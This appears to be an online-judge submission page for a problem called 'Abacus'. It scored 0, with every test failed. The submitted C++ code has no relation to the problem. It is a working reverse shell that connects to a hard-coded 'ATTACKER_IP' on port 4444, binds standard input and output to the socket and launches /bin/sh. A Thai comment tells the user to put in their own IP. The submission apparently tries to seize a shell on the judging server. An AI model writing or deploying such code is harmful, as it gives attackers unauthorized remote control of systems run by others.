Submission

Status:
xxxxxxxxxxxxxxxxxxxx

Score: 0

User: PokemonX69

Problemset: Abacus

Language: cpp

Time: 0.000 second

Submitted On: 2025-03-14 00:42:10

#include <iostream>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define ATTACKER_IP "10.0.2.15"  // 🔴 แก้เป็น IP ของคุณ
#define ATTACKER_PORT 4444

int main() {
    int sock = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in server;
    
    server.sin_family = AF_INET;
    server.sin_port = htons(ATTACKER_PORT);
    inet_pton(AF_INET, ATTACKER_IP, &server.sin_addr);

    if (connect(sock, (struct sockaddr*)&server, sizeof(server)) == -1) {
        return 1;
    }

    dup2(sock, 0); // stdin
    dup2(sock, 1); // stdout
    dup2(sock, 2); // stderr

    char * const argv[] = {"/bin/sh", NULL};
    execve("/bin/sh", argv, NULL);

    return 0;
}